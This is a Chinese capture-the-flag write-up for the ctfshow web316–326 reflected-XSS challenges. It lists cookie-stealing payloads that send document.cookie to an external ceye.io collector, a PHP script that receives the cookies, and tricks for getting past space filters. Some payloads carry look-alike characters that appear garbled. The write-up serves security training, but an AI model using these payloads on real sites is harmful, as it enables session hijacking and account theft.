ctfshow_web316-326_反射型XSS

本文详细介绍了如何利用反射型XSS漏洞,包括使用自己的服务器、ceye网址和XSS平台来获取信息。讨论了带有过滤功能的XSS攻击,以及如何通过替换空格等方法绕过过滤。每个方法都给出了具体的payload示例,并展示了如何从目标网站的响应中提取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Web316 反射型XSS

首先打开网站,看一下,发现这个是反射型XSS
在这里插入图片描述

法一:自己有服务器域名

反射型,可以在自己服务器上,写一个类似于将参数写到当前目录PHP的小脚本。
脚本具体内容如下:

<?php
$content = $_GET[1];
if(isset($content)){
    file_put_contents('tmp/flag.txt',$content);
}else{
    echo 'no date input';
}

开发者工具里,控制台,输入命令

alert(document.cookie)

在这里插入图片描述
之后出现弹窗,如下
在这里插入图片描述
显然不对,之后要想拿到管理员的这个弹窗里的flag
如果有自己私域的话,可以用上面代码然后使用下述payload,可以在tmp文件夹下看到flag.txt里有flag
注意,这里不能用自己127.0.0.1,需要转发cookie才能看到,所以要用私域。

<script>
document.location.href='http://这里是私域名/316.php?1='+document.cookie
</script>
<!--316.php是写的php代码-->

法二:使用ceye网址临时域名

这个需要一个域名,去这个网站可以注册一个临时域名:CEYE
之后输入如下payload,然后生成链接,之后便可在那个网站里收到http响应。

<script>
var img=document.createElement("img"); img.src="http://gvipx6.ceye.io/"+document.cookie;
</script>
<!--这里gvipx6.ceye.io是上述网址产生的临时域名-->

这个payload的意思如下:

var img=document.createElement("img");  //这个是生成一个img对象
img.src="http://gvipx6.ceye.io/"+document.cookie; 
/*是加载一张图片加上当前的cookie这里我们填写的是接收平台的地址,所以带上document.cookie去加载地址然后平台会有记录cookie的值,ctf平台会有个虚拟机器人,充当admin身份,每隔一段时间点开网站它一点开就会加载payload,发送它自身的cookie在那个框内输入那个标签输进去,网站一加载就执行了我们输入的xss代码然后他自己会发送cookie
*/

话说这个网址的虚拟机器人充当admin身份,可以直接查看http,上面的php代码没有用到。
在这里插入图片描述
之后便得到了flag

ctfshow{09df5968-f68b-423e-b12f-7b8fce03d73f}

法三:使用xss平台

使用xss平台:https://xss.pt/xss.php
参考这个博主师傅的方法:使用XSS Platform解决XSS题目

普通反射型XSS方法总结

  • script
<script>var img=document.createElement("img"); img.src="http://....ceye.io/"+document.cookie;</script>
  1. window.open
<script>window.open('http://....ceye.io/'+document.cookie)</script>
  1. input
<input onfocus="window.open('http://....ceye.io/'+document.cookie)" autofocus>
  1. svg
<svg onload="window.open('http://....ceye.io/'+document.cookie)">
  1. iframe
<iframe onload="window.open('http://....ceye.io/'+document.cookie)"></iframe>

5. body

<body onload="window.open('http://....ceye.io/'+document.cookie)">
  1. 可能还有一个工具和一个平台对付此类题很好用:
    平台:XSS Platform
    工具:XSStrike

web317 反射型XSS 带过滤 用

看题目这里,发现它过滤了。
在这里插入图片描述
输入316题的payload,发现没有任何东西。
由此可知,可能是过滤了

  • 用body语句构造payload
<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

写入之后,点击生成链接之后,出现了此界面,有代码201可知,注入成功,看一下ceye的网址上http request
在这里插入图片描述
出现了flag
在这里插入图片描述
本题的flag为

ctfshow{47df6a6c-2ce2-4786-b8b8-985289cff2fd}

web318 反射型XSS 带过滤 用

和上一个题一样,输入payload

<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

出现201代码
在这里插入图片描述
打开ceye网站,看到flag
在这里插入图片描述
flag如下:

ctfshow{d7410f6b-2110-4aa2-81c7-3f0d80ac157f}

web319 反射型XSS 带过滤 用

和之前一样,构造payload

<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

在这里插入图片描述
在这里插入图片描述
flag如下:

ctfshow{30eb2d6e-e25b-4d48-a214-a26a7defd9ec}

web320 带过滤(空格)反射型XSS 用

如之前的题,构造一样的payload,生成链接

<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

点击生成链接之后,发现没有反应,发现这个题是过滤了空格

一般空格被过滤有如下替换方法

  1. /**/
  2. /

之后修改payload,把空格替换成/**/,变成如下payload,两个都可以

<body/**/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>
<body/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

在这里插入图片描述
在这里插入图片描述
flag如下:

ctfshow{9dbd340c-ba6f-4a10-88b7-d5ed49f7a671}

web321 带过滤(空格)反射型XSS 用

和上一个题一样
构造payload

<body/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

在这里插入图片描述
在这里插入图片描述
flag如下

ctfshow{ea096bdf-2c6b-4ca5-a8ed-e0c77e6eaeef}

web322 过滤(空格)反射型XSS 用

构造payload

<body/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

在这里插入图片描述
在这里插入图片描述
flag如下

ctfshow{0cd32425-ed6b-47d9-8c0d-9e9d4d5d4648}

web323 过滤(空格)反射型XSS 用

和上题一样的payload,也是过滤了空格

<body/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

在这里插入图片描述
在这里插入图片描述
flag如下:

ctfshow{7a355fe9-775c-4918-a1d6-d15ca2b53148}

web324 过滤(空格)反射型XSS 用

和上题一样的payload,也是过滤了空格

<body/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

在这里插入图片描述
在这里插入图片描述

ctfshow{2656346c-f0b8-4e33-98d3-17da7379e64d}

web325 过滤(空格)反射型XSS 用

和上题一样的payload,也是过滤了空格

<body/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

在这里插入图片描述
在这里插入图片描述

ctfshow{e46cfdf8-1926-476b-ac15-7a790472015f}

web326 过滤(空格)反射型XSS 用

和上题一样的payload,也是过滤了空格

<body/onload="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

在这里插入图片描述
在这里插入图片描述

ctfshow{7aa1a537-36af-4162-91f4-d38ac4a75d88}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值